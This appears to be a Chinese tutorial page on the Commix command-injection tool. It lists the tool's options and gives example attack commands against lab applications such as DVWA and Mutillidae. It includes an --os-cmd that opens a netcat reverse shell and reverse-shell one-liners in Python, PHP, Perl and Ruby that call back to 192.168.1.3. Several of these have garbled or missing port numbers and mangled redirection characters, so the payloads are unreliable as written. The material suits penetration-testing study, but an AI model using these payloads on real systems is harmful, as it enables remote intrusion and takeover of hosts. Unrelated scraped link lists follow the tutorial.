Commix命令注入漏洞利用
介绍
项目地址:https://github.com/stasinopoulos/commix
Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测,大大提高了易用性。
使用
选项:
-v VERBOSE详细程度级别(-,默认值:)。
--version 显示版本号并退出。
--output-dir=.. 设置自定义输出目录路径。
-s SESSION_FILE 从存储(.sqlite)文件加载会话。
--flush-session 刷新当前目标的会话文件。
--ignore-session 忽略存储在会话文件中的结果。 目标:
-u URL,--url = URL 目标URL。
--url-reload 在命令执行后重新加载目标URL。
-l LOGFILE 解析来自HTTP代理日志文件的目标和数据。
--crawl = CRAWLDEPTH 从目标网址开始抓取网站(-,默认值:)。 请求:
--data=DATA 要通过POST发送的数据字符串。
--host=HOST HTTP主机头。
--referer=REFERER HTTP Referer标头。
--user-agent=AGENT HTTP用户代理头。
--random-agent 使用随机选择的HTTP User-Agent头。
--param-del=PDEL 设置分割参数值的字符。
--cookie=COOKIE HTTP Cookie头。
--cookie-del=CDEL 设置分割cookie值的字符。
--headers=HEADERS 额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
--proxy=PROXY 使用HTTP代理(例如“127.0.0.1:”)。
--tor 使用Tor网络。
--tor-port=... 设置Tor代理端口(默认值:)。
--auth-url=... 登录面板URL。
--auth-data =AUTH 登录参数和数据。
--auth-type =AUTH HTTP认证类型(例如“基本”或“摘要”)。
--auth-cred =AUTH HTTP身份验证凭据(例如“admin:admin”)。
--ignore-401 忽略HTTP错误401(未授权)。
--force-ssl 强制使用SSL / HTTPS。 枚举:
这些选项可用于枚举目标主机。
--all 检索一切。
--current-user 检索当前用户名。
--hostname 检索当前主机名。
--is-root 检查当前用户是否具有root权限。
--is-admin 检查当前用户是否具有管理员权限。
--sys-info 检索系统信息。
--users 检索系统用户。
--passwords 检索系统用户密码散列。
--privileges 检索系统用户权限。
--ps-version 检索PowerShell的版本号。 文件访问:
这些选项可用于访问目标主机上的文件。
--file-read = FILE .. 从目标主机读取文件。
--file-write = FIL .. 写入目标主机上的文件。
--file-upload = FI .. 在目标主机上上传文件。
--file-dest = FILE .. 写入和/或上传到的主机的绝对文件路径。 模块:
这些选项可用于增加检测和/或注射能力。
--icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。 (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。
--dns-server = DNS ..“DNS exfiltration”注入模块。 (用于DNS筛选攻击的域名)。
--shellshock“炮弹”注射模块。
注射:
这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。
-p TEST_PARAMETER 可测试参数。
--suffix = SUFFIX 注入有效负载后缀字符串。
--prefix = PREFIX 注入有效负载前缀字符串。
--technique = TECH 指定要使用的进样技术。
--maxlen = MAXLEN 设置与时间相关的最大输出长度,注射技术(默认:10000字符)。
--delay = DELAY 设置与时间相关的注入的自定义时间延迟术(默认:1秒)。
--tmp-path = TMP_P .. 设置Web服务器的临时目录的绝对路径。
--root-dir = SRV_R .. 设置Web服务器根目录的绝对路径。
--alter-shell = AL .. 使用另一个os-shell(例如'Python')。
--os-cmd = OS_CMD 执行单个操作系统命令。
--os = OS 将后端操作系统强制为此值。
--tamper = TAMPER 使用给定脚本篡改注射数据。 检测:
这些选项可用于自定义检测阶段。 --level = LEVEL 要执行的测试级别(-,默认值:)。
--skip-calc 在检测期间跳过数学计算
--dependencies 检查第三方(非内核)依赖关系。
--skip-waf 绕过启发式检测WAF / IPS / IDS保护。
使用举例
python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE” --os-cmd="nc -e /bin/sh 192.168.1.3 1234″
Freebuf给出的一些用法(http://www.freebuf.com/sectool/64030.html)
测试漏洞web应用Damn
python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
使用注入攻击Payload参数测试php-Charts 1.0
python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"
使用特殊的头和HTTP代理测试OWASP Mutillidae
python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"
使用ICMP渗漏(exfiltration)技术测试Persistence
su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""
配合一些反弹shell
. Python-reverse-shell:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.3\”,));os.dup2(s.fileno(),); os.dup2(s.fileno(),); os.dup2(s.fileno(),);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’
. PHP-reverse-shell:
php -r ‘\$sock=fsockopen(\”192.168.1.3\”,);exec(\”/bin/sh -i <% >% >%\”);’
. Perl-reverse-shell:
perl -e ‘use Socket;\$i=\”192.168.1.3\”;\$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>%26S\”);open(STDOUT,\”>%26S\”);open(STDERR,\”>%26S\”);exec(\”/bin/sh -i\”);};’
. Ruby-reverse-shell:
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(\”192.168.1.3\”,);while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print io.read}end’
Commix命令注入漏洞利用的更多相关文章
- DVWA各等级命令注入漏洞
漏洞描述 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后 ...
- ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用
ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.* exploit code execution and command ...
- commix 命令注入工具
关于系统命令注入,可以参考这篇文章:命令攻击介绍 系统命令注入场景 在对企业进行安全测试时候,很少会发现系统注入漏洞.这是因为大部分情况下代码业务主要是数据操作.文件操作.逻辑处理和api接口调用等, ...
- CVE-2020-15778 OpenSSH命令注入漏洞复现
一.漏洞概要 OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令.目前绝大多数linux系统受影响. 参考链接:https://githu ...
- DedeCMS全版本通杀SQL注入漏洞利用代码及工具
dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...
- Drupal 7.31 SQL注入漏洞利用具体解释及EXP
有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的.当然.这也是Drupal本身没有意料到的. 0x00 首 ...
- DedeCMS全版本通杀SQL注入漏洞利用代码
EXP: Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000u ...
- CVE-2017-17215 - 华为HG532命令注入漏洞分析
前言 前面几天国外有个公司发布了该漏洞的详情.入手的二手 hg532 到货了,分析测试一下. 固件地址:https://ia601506.us.archive.org/22/items/RouterH ...
- ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC
thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...
随机推荐
- Netty 5.0源码分析-Bootstrap
1. 前言 io.netty.bootstrap类包提供包含丰富API的帮助类,能够非常方便的实现典型的服务器端和客户端通道初始化功能. 包含的接口类: //提供工厂类的newChannel方法创建一 ...
- [HMLY]11.iOS函数式编程的实现&&响应式编程概念
简介 本篇主要回顾一下--iOS函数式编程 && 响应式编程概念 ,如何一步步实现函数式编程的过程,对阅读Masonry && SnapKit源码有一定的帮助. 作为一 ...
- kinect1在ros-indigo环境配置
根据周大神前车,向git下载驱动里面有详细的安装说明 $ cd $ git clone https://github.com/ZXWBOT/kinect_driver.git 按照安装说明三个包安装成 ...
- 自定义底部导航栏(tabBar)
前言如果大家用过微信提供的tabBar就会发现,他的tabBar有很大的局限性.暂且不说样式局限性了,他提供的app.json配置文件中没有function.这也就意味着使用它提供的这个组件,你只能用 ...
- 百度的hao123.com篡改浏览器首页,解决办法
快捷方式右键找到chrome.exe, 把chorme.exe修改成别的名字例如 chromeFuckHao123.exe 就OK了. hao123是用病毒的形式查找chrome.exe然后进程注入的 ...
- IOS数据库操作SQLite3使用详解(转)
iPhone中支持通过sqlite3来访问iPhone本地的数据库.具体使用方法如下1:添加开发包libsqlite3.0.dylib首先是设置项目文件,在项目中添加iPhone版的sqlite3的数 ...
- python之实现缓存环
看了CodeBokk 第二版通过python实现缓存环,吸收之后记录下,方便以后查阅. 任务: 定义一个固定尺寸的缓存,当它填满的时候,新加入的元素会覆盖第一个(最老的)元素.这种数据结构在存储日志和 ...
- USACO 3.2 Magic Squares
Magic SquaresIOI'96 Following the success of the magic cube, Mr. Rubik invented its planar version, ...
- Python学习笔记——基础篇【第一周】——变量与赋值、用户交互、条件判断、循环控制、数据类型、文本操作
目录 Python第一周笔记 1.学习Python目的 2.Python简史介绍 3.Python3特性 4.Hello World程序 5.变量与赋值 6.用户交互 7.条件判断与缩进 8.循环控制 ...
- 【jquery、XML】jquery通过按钮使打开select
<select> <option>aaaaa</option> <option>bbbbb</option> <option>c ...